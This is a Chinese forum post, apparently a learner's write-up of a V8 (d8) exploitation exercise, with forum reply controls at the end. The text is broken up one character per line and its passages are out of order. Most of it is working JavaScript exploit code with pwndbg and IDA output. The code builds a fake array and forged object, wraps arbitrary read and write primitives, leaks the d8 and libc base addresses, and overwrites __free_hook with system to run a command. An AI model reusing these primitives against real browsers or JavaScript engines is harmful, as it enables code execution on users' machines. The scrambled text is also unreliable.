0
0
0
0
0
n
)
,
/
/
l
e
n
g
t
h
1
.
1
,
2
.
2
,
]
;
不
对
其
中
细
节
进
行
深
究
,
直
接
采
用
有
6
个
成
员
的
f
a
k
e
a
r
r
a
y
。
构
造
完
f
a
k
e
_
a
r
r
a
y
后
,
我
们
先
在
内
存
中
看
一
下
其
结
构
:
W
r
i
t
e
u
p
中
用
来
构
造
任
意
地
址
读
写
原
语
的
思
路
是
这
样
的
:
借
助
任
意
地
址
泄
露
原
语
计
算
得
到
f
a
k
e
a
r
r
a
y
的
第
一
个
元
素
在
内
存
中
的
基
地
址
,
然
后
借
助
任
意
对
象
伪
造
原
语
将
该
地
址
处
开
始
的
内
存
伪
造
为
一
个
f
a
k
e
d
o
b
j
e
c
t
,
此
时
数
据
结
构
之
间
的
对
应
关
系
如
下
(
下
图
主
要
参
考
《
从
一
道
C
T
F
题
零
基
础
学
V
8
漏
洞
利
/
/
f
a
k
e
_
a
r
r
a
y
p
w
n
d
b
g
>
j
o
b
0
x
1
7
4
4
c
d
9
c
f
9
c
9
0
x
1
7
4
4
c
d
9
c
f
9
c
9
:
[
J
S
A
r
r
a
y
]
-
m
a
p
:
0
x
2
6
4
d
a
e
3
4
2
e
d
9
<
M
a
p
(
P
A
C
K
E
D
_
D
O
U
B
L
E
_
E
L
E
M
E
N
T
S
)
>
[
F
a
s
t
P
r
o
p
e
r
t
i
e
s
]
-
p
r
o
t
o
t
y
p
e
:
0
x
2
2
c
c
c
9
1
5
1
1
1
1
<
J
S
A
r
r
a
y
[
0
]
>
-
e
l
e
m
e
n
t
s
:
0
x
1
7
4
4
c
d
9
c
f
9
8
9
<
F
i
x
e
d
D
o
u
b
l
e
A
r
r
a
y
[
6
]
>
[
P
A
C
K
E
D
_
D
O
U
B
L
E
_
E
L
E
M
E
N
T
S
]
-
l
e
n
g
t
h
:
6
-
p
r
o
p
e
r
t
i
e
s
:
0
x
3
a
0
7
f
4
7
c
0
c
7
1
<
F
i
x
e
d
A
r
r
a
y
[
0
]
>
{
#
l
e
n
g
t
h
:
0
x
1
1
5
5
6
e
8
0
0
1
a
9
<
A
c
c
e
s
s
o
r
I
n
f
o
>
(
c
o
n
s
t
a
c
c
e
s
s
o
r
d
e
s
c
r
i
p
t
o
r
)
}
-
e
l
e
m
e
n
t
s
:
0
x
1
7
4
4
c
d
9
c
f
9
8
9
<
F
i
x
e
d
D
o
u
b
l
e
A
r
r
a
y
[
6
]
>
{
0
:
2
.
0
8
0
7
6
e
-
3
1
0
1
:
0
2
:
5
.
4
0
9
0
1
e
-
3
1
5
3
:
3
.
3
9
5
1
9
e
-
3
1
3
4
:
1
.
1
5
:
2
.
2
}
/
/
f
a
k
e
_
a
r
r
a
y
.
e
l
e
m
e
n
t
s
p
w
n
d
b
g
>
j
o
b
0
x
1
7
4
4
c
d
9
c
f
9
8
9
0
x
1
7
4
4
c
d
9
c
f
9
8
9
:
[
F
i
x
e
d
D
o
u
b
l
e
A
r
r
a
y
]
-
m
a
p
:
0
x
3
a
0
7
f
4
7
c
1
4
f
9
<
M
a
p
>
-
l
e
n
g
t
h
:
6
0
:
2
.
0
8
0
7
6
e
-
3
1
0
1
:
0
2
:
5
.
4
0
9
0
1
e
-
3
1
5
3
:
3
.
3
9
5
1
9
e
-
3
1
3
4
:
1
.
1
5
:
2
.
2
p
w
n
d
b
g
>
t
e
l
e
s
c
o
p
e
0
x
1
7
4
4
c
d
9
c
f
9
8
9
-
1
0
0
:
0
0
0
0
│
0
x
1
7
4
4
c
d
9
c
f
9
8
8
—
▸
0
x
3
a
0
7
f
4
7
c
1
4
f
9
◂
—
0
x
3
a
0
7
f
4
7
c
0
1
0
1
:
0
0
0
8
│
0
x
1
7
4
4
c
d
9
c
f
9
9
0
◂
—
0
x
6
0
0
0
0
0
0
0
0
0
2
:
0
0
1
0
│
0
x
1
7
4
4
c
d
9
c
f
9
9
8
—
▸
0
x
2
6
4
d
a
e
3
4
2
e
d
9
◂
—
0
x
4
0
0
0
0
3
a
0
7
f
4
7
c
0
1
0
3
:
0
0
1
8
│
0
x
1
7
4
4
c
d
9
c
f
9
a
0
◂
—
0
x
0
0
4
:
0
0
2
0
│
0
x
1
7
4
4
c
d
9
c
f
9
a
8
◂
—
0
x
4
1
4
1
4
1
4
1
/
*
'
A
A
A
A
'
*
/
0
5
:
0
0
2
8
│
0
x
1
7
4
4
c
d
9
c
f
9
b
0
◂
—
0
x
1
0
0
0
0
0
0
0
0
0
0
6
:
0
0
3
0
│
0
x
1
7
4
4
c
d
9
c
f
9
b
8
◂
—
0
x
3
f
f
1
9
9
9
9
9
9
9
9
9
9
9
a
0
7
:
0
0
3
8
│
0
x
1
7
4
4
c
d
9
c
f
9
c
0
◂
—
0
x
4
0
0
1
9
9
9
9
9
9
9
9
9
9
9
a
/
/
可
以
看
到
f
a
k
e
_
a
r
r
a
y
.
e
l
e
m
e
n
t
s
在
前
,
大
小
为
0
x
4
0
字
节
,
第
一
个
e
l
e
m
e
n
t
值
相
对
头
部
偏
移
为
+
0
x
1
0
/
/
f
a
k
e
_
a
r
r
a
y
紧
邻
f
a
k
e
_
a
r
r
a
y
.
e
l
e
m
e
n
t
s
,
其
头
部
相
对
f
a
k
e
_
a
r
r
a
y
.
e
l
e
m
e
n
t
s
头
部
偏
移
为
+
0
x
4
0
p
w
n
d
b
g
>
p
/
x
0
x
1
7
4
4
c
d
9
c
f
9
c
9
-
0
x
1
7
4
4
c
d
9
c
f
9
8
9
$
1
=
0
x
4
0
用
》
这
篇
文
章
)
:
从
上
图
可
知
,
得
到
伪
造
的
对
象
后
,
只
要
修
改
f
a
k
e
a
r
r
a
y
[
2
]
,
就
可
以
控
制
f
a
k
e
d
o
b
j
e
c
t
的
e
l
e
m
e
n
t
s
成
员
,
在
修
改
e
l
e
m
e
n
t
s
后
,
再
对
f
a
k
e
d
_
o
b
j
e
c
t
进
行
读
写
,
就
可
以
读
写
e
l
e
m
e
n
t
s
指
针
指
向
处
的
内
存
,
这
样
就
具
备
了
任
意
地
址
读
写
能
力
,
在
此
基
础
上
封
装
两
个
原
语
即
可
:
v
a
r
f
a
k
e
_
a
r
r
a
y
=
[
f
l
o
a
t
_
a
r
r
a
y
_
m
a
p
,
/
/
m
a
p
i
2
f
(
0
n
)
,
/
/
p
r
o
t
o
t
y
p
e
i
2
f
(
0
x
4
1
4
1
4
1
4
1
n
)
,
/
/
e
l
e
m
e
n
t
s
i
2
f
(
0
x
1
0
0
0
0
0
0
0
0
0
n
)
,
/
/
l
e
n
g
t
h
1
.
1
,
2
.
2
,
]
;
v
a
r
f
a
k
e
_
a
r
r
a
y
_
a
d
d
r
=
a
d
d
r
e
s
s
O
f
(
f
a
k
e
_
a
r
r
a
y
)
;
v
a
r
f
a
k
e
_
o
b
j
e
c
t
_
a
d
d
r
=
f
a
k
e
_
a
r
r
a
y
_
a
d
d
r
-
0
x
4
0
n
+
0
x
1
0
n
;
v
a
r
f
a
k
e
d
_
o
b
j
e
c
t
=
f
a
k
e
O
b
j
e
c
t
(
f
a
k
e
_
o
b
j
e
c
t
_
a
d
d
r
)
;
f
u
n
c
t
i
o
n
r
e
a
d
6
4
(
a
d
d
r
)
{
f
a
k
e
_
a
r
r
a
y
[
2
]
=
i
2
f
(
a
d
d
r
-
0
x
1
0
n
+
0
x
1
n
)
;
l
e
t
r
e
a
d
_
d
a
t
a
=
f
2
i
(
f
a
k
e
d
_
o
b
j
e
c
t
[
0
]
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
r
e
a
d
f
r
o
m
:
0
x
"
+
h
e
x
(
a
d
d
r
)
+
"
:
0
x
"
+
h
e
x
(
r
e
a
d
_
d
a
t
a
)
)
;
r
e
t
u
r
n
r
e
a
d
_
d
a
t
a
;
}
f
u
n
c
t
i
o
n
w
r
i
t
e
6
4
(
a
d
d
r
,
d
a
t
a
)
{
f
a
k
e
_
a
r
r
a
y
[
2
]
=
i
2
f
(
a
d
d
r
-
0
x
1
0
n
+
0
x
1
n
)
;
f
a
k
e
d
_
o
b
j
e
c
t
[
0
]
=
i
2
f
(
d
a
t
a
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
w
r
i
t
e
t
o
:
0
x
"
+
h
e
x
(
a
d
d
r
)
+
"
:
0
x
"
+
h
e
x
(
d
a
t
a
)
)
}
有
了
任
意
地
址
读
写
原
语
后
,
接
下
来
的
操
作
就
比
较
简
单
了
。
笔
者
在
此
基
础
上
实
践
了
两
种
方
法
:
1
.
泄
露
l
i
b
c
地
址
,
劫
持
f
r
e
e
_
h
o
o
k
为
s
y
s
t
e
m
,
调
用
相
关
函
数
,
传
入
命
令
行
实
现
代
码
执
行
2
.
找
到
w
a
s
m
的
代
码
页
指
针
,
将
s
h
e
l
l
c
o
d
e
拷
贝
到
此
代
码
页
,
调
用
w
a
s
m
接
口
实
现
代
码
执
行
代
码
执
行
:
劫
持
代
码
执
行
:
劫
持
f
r
e
e
_
h
o
o
k
如
何
劫
持
f
r
e
e
_
h
o
o
k
呢
?
首
先
要
泄
露
d
8
模
块
基
址
。
这
里
笔
者
采
用
的
是
《
从
一
道
C
T
F
题
零
基
础
学
V
8
漏
洞
利
用
》
这
篇
文
章
中
介
绍
的
稳
定
泄
露
的
方
法
,
具
体
步
骤
读
者
可
以
参
考
那
篇
文
章
:
上
述
代
码
泄
露
了
d
8
模
块
里
面
的
一
个
指
针
,
接
着
需
要
根
据
该
指
针
计
算
得
到
d
8
模
块
的
基
址
,
作
为
一
个
初
学
者
,
笔
者
在
实
践
的
过
程
中
,
发
现
所
有
文
章
都
对
这
一
步
骤
一
笔
带
过
,
这
里
简
述
笔
者
采
用
的
方
法
:
先
按
照
《
从
一
道
C
T
F
题
零
基
础
学
V
8
漏
洞
利
用
》
的
方
法
在
调
试
器
中
进
行
查
找
,
某
次
定
位
到
l
e
a
k
d
8
a
d
d
r
为
0
x
5
6
1
0
8
3
f
5
6
7
8
0
,
用
v
m
a
p
命
令
显
示
该
地
址
的
相
关
信
息
,
输
出
中
最
前
面
有
一
个
0
x
5
6
1
0
8
3
6
0
7
0
0
0
,
这
个
函
数
即
为
d
8
模
块
的
_
s
t
a
r
t
函
数
在
内
存
中
的
地
址
:
通
过
以
下
步
骤
即
可
计
算
得
到
d
8
基
址
:
1
.
计
算
在
内
存
中
l
e
a
k
d
8
a
d
d
r
相
对
于
_
s
t
a
r
t
的
偏
移
,
记
为
o
f
f
s
e
t
1
2
.
在
I
D
A
中
计
算
得
到
_
s
t
a
r
t
相
对
于
d
8
基
址
的
偏
移
,
记
为
o
f
f
s
e
t
2
3
.
d
8
基
址
=
l
e
a
k
d
8
a
d
d
r
-
o
f
f
s
e
t
1
-
o
f
f
s
e
t
2
下
面
为
笔
者
某
次
实
践
中
对
应
的
相
关
偏
移
,
及
相
关
计
算
过
程
:
泄
露
得
到
d
8
模
块
基
址
后
,
先
在
d
8
模
块
中
定
位
_
s
t
a
r
t
函
数
,
找
到
该
函
数
中
使
用
的
_
l
i
b
c
s
t
a
r
t
m
a
i
n
p
t
r
函
数
指
针
:
v
a
r
a
=
[
1
.
1
,
2
.
2
,
3
.
3
]
;
v
a
r
c
o
d
e
_
a
d
d
r
=
r
e
a
d
6
4
(
a
d
d
r
e
s
s
O
f
(
a
.
c
o
n
s
t
r
u
c
t
o
r
)
+
0
x
3
0
n
)
;
v
a
r
l
e
a
k
_
d
8
_
a
d
d
r
=
r
e
a
d
6
4
(
c
o
d
e
_
a
d
d
r
+
0
x
4
1
n
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
f
i
n
d
l
i
b
c
l
e
a
k
_
d
8
_
a
d
d
r
:
0
x
"
+
h
e
x
(
l
e
a
k
_
d
8
_
a
d
d
r
)
)
;
p
w
n
d
b
g
>
v
m
m
a
p
0
x
5
6
1
0
8
3
f
5
6
7
8
0
L
E
G
E
N
D
:
S
T
A
C
K
|
H
E
A
P
|
C
O
D
E
|
D
A
T
A
|
R
W
X
|
R
O
D
A
T
A
0
x
5
6
1
0
8
3
6
0
7
0
0
0
0
x
5
6
1
0
8
4
1
d
f
0
0
0
r
-
x
p
b
d
8
0
0
0
6
4
2
0
0
0
/
h
o
m
e
/
t
e
s
t
/
v
8
/
o
u
t
.
g
n
/
x
6
4
.
r
e
l
e
a
s
e
/
d
8
/
/
_
s
t
a
r
t
0
x
5
6
1
0
8
3
6
0
7
0
0
0
/
/
l
e
a
k
_
d
8
_
a
d
d
r
=
0
x
5
6
1
0
8
3
f
5
6
7
8
0
/
/
l
e
a
k
_
d
8
_
a
d
d
r
-
_
s
t
a
r
t
=
0
x
9
4
F
7
8
0
/
/
_
s
t
a
r
t
-
l
e
a
k
_
d
8
_
a
d
d
r
=
0
x
6
4
2
0
0
0
/
/
l
e
a
k
_
d
8
_
a
d
d
r
-
b
a
s
e
=
0
x
6
4
2
0
0
0
+
9
4
F
7
8
0
=
0
x
F
9
1
7
8
0
v
a
r
d
8
_
b
a
s
e
_
a
d
d
r
=
l
e
a
k
_
d
8
_
a
d
d
r
-
0
x
F
9
1
7
8
0
n
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
d
8
_
b
a
s
e
_
a
d
d
r
:
0
x
"
+
h
e
x
(
d
8
_
b
a
s
e
_
a
d
d
r
)
)
;
/
/
由
d
8
的
导
出
表
定
位
到
_
s
t
a
r
t
函
数
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
0
p
u
b
l
i
c
_
s
t
a
r
t
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
0
_
s
t
a
r
t
p
r
o
c
n
e
a
r
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
0
;
_
_
u
n
w
i
n
d
{
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
0
3
1
E
D
x
o
r
e
b
p
,
e
b
p
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
2
4
9
8
9
D
1
m
o
v
r
9
,
r
d
x
;
r
t
l
d
_
f
i
n
i
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
5
5
E
p
o
p
r
s
i
;
a
r
g
c
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
6
4
8
8
9
E
2
m
o
v
r
d
x
,
r
s
p
;
u
b
p
_
a
v
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
9
4
8
8
3
E
4
F
0
a
n
d
r
s
p
,
0
F
F
F
F
F
F
F
F
F
F
F
F
F
F
F
0
h
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
D
5
0
p
u
s
h
r
a
x
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
E
5
4
p
u
s
h
r
s
p
;
s
t
a
c
k
_
e
n
d
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
0
F
4
C
8
D
0
5
2
A
6
A
B
D
+
l
e
a
r
8
,
_
_
l
i
b
c
_
c
s
u
_
f
i
n
i
;
f
i
n
i
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
1
6
4
8
8
D
0
D
B
3
6
9
B
D
+
l
e
a
r
c
x
,
_
_
l
i
b
c
_
c
s
u
_
i
n
i
t
;
i
n
i
t
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
1
D
4
8
8
D
3
D
6
C
2
F
0
1
+
l
e
a
r
d
i
,
m
a
i
n
;
m
a
i
n
得
到
d
8
基
址
和
_
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
的
o
f
f
s
e
t
后
,
就
可
以
在
代
码
中
读
取
内
存
中
的
l
i
b
c
s
t
a
r
t
m
a
i
n
a
d
d
r
函
数
地
址
,
接
着
通
过
I
D
A
计
算
得
到
l
i
b
c
s
t
a
r
t
m
a
i
n
相
对
于
l
i
b
c
-
2
.
2
7
.
s
o
基
地
址
的
偏
移
,
这
样
我
们
就
可
计
算
得
到
l
i
b
c
库
在
内
存
中
的
基
址
。
随
后
在
其
导
出
表
查
找
f
r
e
e
h
o
o
k
、
s
y
s
t
e
m
这
两
个
函
数
的
偏
移
,
并
加
上
l
i
b
c
在
内
存
中
的
基
址
,
就
可
得
到
f
r
e
e
_
h
o
o
k
、
s
y
s
t
e
m
两
个
函
数
在
内
存
中
的
地
址
。
找
到
上
述
信
息
后
,
理
论
上
借
助
任
意
地
址
写
原
语
将
f
r
e
e
_
h
o
o
k
的
地
址
修
改
为
s
y
s
t
e
m
的
地
址
即
可
,
但
实
践
时
发
现
w
r
i
t
e
6
4
这
个
原
语
无
法
正
确
完
成
写
入
,
多
篇
分
析
文
章
已
就
这
个
问
题
进
行
讨
论
,
解
决
办
法
是
再
借
助
D
a
t
a
V
i
e
w
对
象
封
装
另
一
个
任
意
地
址
写
原
语
:
此
时
就
可
以
劫
持
f
r
e
e
_
h
o
o
k
并
实
现
代
码
执
行
了
:
效
果
如
下
:
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
1
D
4
8
8
D
3
D
6
C
2
F
0
1
+
l
e
a
r
d
i
,
m
a
i
n
;
m
a
i
n
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
2
4
F
F
1
5
7
6
B
7
C
2
0
0
c
a
l
l
c
s
:
_
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
p
t
r
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
2
A
F
4
h
l
t
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
2
A
;
}
/
/
s
t
a
r
t
s
a
t
6
4
2
0
0
0
.
t
e
x
t
:
0
0
0
0
0
0
0
0
0
0
6
4
2
0
2
A
_
s
t
a
r
t
e
n
d
p
/
/
由
上
面
的
函
数
指
针
定
位
到
g
o
t
表
中
的
相
关
项
.
g
o
t
:
0
0
0
0
0
0
0
0
0
1
2
6
D
7
A
0
_
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
p
t
r
d
q
o
f
f
s
e
t
_
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
.
g
o
t
:
0
0
0
0
0
0
0
0
0
1
2
6
D
7
A
0
;
D
A
T
A
X
R
E
F
:
_
s
t
a
r
t
+
2
4
↑
r
/
/
_
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
p
t
r
i
n
d
8
v
a
r
d
8
_
g
o
t
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
a
d
d
r
=
d
8
_
b
a
s
e
_
a
d
d
r
+
0
x
1
2
6
d
7
a
0
n
;
v
a
r
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
a
d
d
r
=
r
e
a
d
6
4
(
d
8
_
g
o
t
_
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
a
d
d
r
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
f
i
n
d
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
a
d
d
r
:
0
x
"
+
h
e
x
(
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
a
d
d
r
)
)
;
v
a
r
l
i
b
c
_
b
a
s
e
_
a
d
d
r
=
l
i
b
c
_
s
t
a
r
t
_
m
a
i
n
_
a
d
d
r
-
0
x
2
1
A
B
0
n
;
v
a
r
l
i
b
_
s
y
s
t
e
m
_
a
d
d
r
=
l
i
b
c
_
b
a
s
e
_
a
d
d
r
+
0
x
4
F
4
4
0
n
;
v
a
r
l
i
b
c
_
f
r
e
e
_
h
o
o
k
_
a
d
d
r
=
l
i
b
c
_
b
a
s
e
_
a
d
d
r
+
0
x
3
E
D
8
E
8
n
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
f
i
n
d
l
i
b
c
l
i
b
c
_
b
a
s
e
_
a
d
d
r
:
0
x
"
+
h
e
x
(
l
i
b
c
_
b
a
s
e
_
a
d
d
r
)
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
f
i
n
d
l
i
b
c
l
i
b
_
s
y
s
t
e
m
_
a
d
d
r
:
0
x
"
+
h
e
x
(
l
i
b
_
s
y
s
t
e
m
_
a
d
d
r
)
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
f
i
n
d
l
i
b
c
l
i
b
c
_
f
r
e
e
_
h
o
o
k
_
a
d
d
r
:
0
x
"
+
h
e
x
(
l
i
b
c
_
f
r
e
e
_
h
o
o
k
_
a
d
d
r
)
)
;
v
a
r
d
a
t
a
_
b
u
f
=
n
e
w
A
r
r
a
y
B
u
f
f
e
r
(
8
)
;
v
a
r
d
a
t
a
_
v
i
e
w
=
n
e
w
D
a
t
a
V
i
e
w
(
d
a
t
a
_
b
u
f
)
;
v
a
r
b
u
f
_
b
a
c
k
i
n
g
_
s
t
o
r
e
_
a
d
d
r
=
a
d
d
r
e
s
s
O
f
(
d
a
t
a
_
b
u
f
)
+
0
x
2
0
n
;
f
u
n
c
t
i
o
n
w
r
i
t
e
6
4
_
d
a
t
a
v
i
e
w
(
a
d
d
r
,
d
a
t
a
)
{
w
r
i
t
e
6
4
(
b
u
f
_
b
a
c
k
i
n
g
_
s
t
o
r
e
_
a
d
d
r
,
a
d
d
r
)
;
d
a
t
a
_
v
i
e
w
.
s
e
t
F
l
o
a
t
6
4
(
0
,
i
2
f
(
d
a
t
a
)
,
t
r
u
e
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
w
r
i
t
e
(
u
s
e
d
a
t
a
v
i
e
w
)
t
o
:
0
x
"
+
h
e
x
(
a
d
d
r
)
+
"
:
0
x
"
+
h
e
x
(
d
a
t
a
)
)
;
}
w
r
i
t
e
6
4
_
d
a
t
a
v
i
e
w
(
l
i
b
c
_
f
r
e
e
_
h
o
o
k
_
a
d
d
r
,
l
i
b
_
s
y
s
t
e
m
_
a
d
d
r
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
W
r
i
t
e
o
k
.
"
)
;
c
o
n
s
o
l
e
.
l
o
g
(
"
g
n
o
m
e
-
c
a
l
c
u
l
a
t
o
r
"
)
;
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页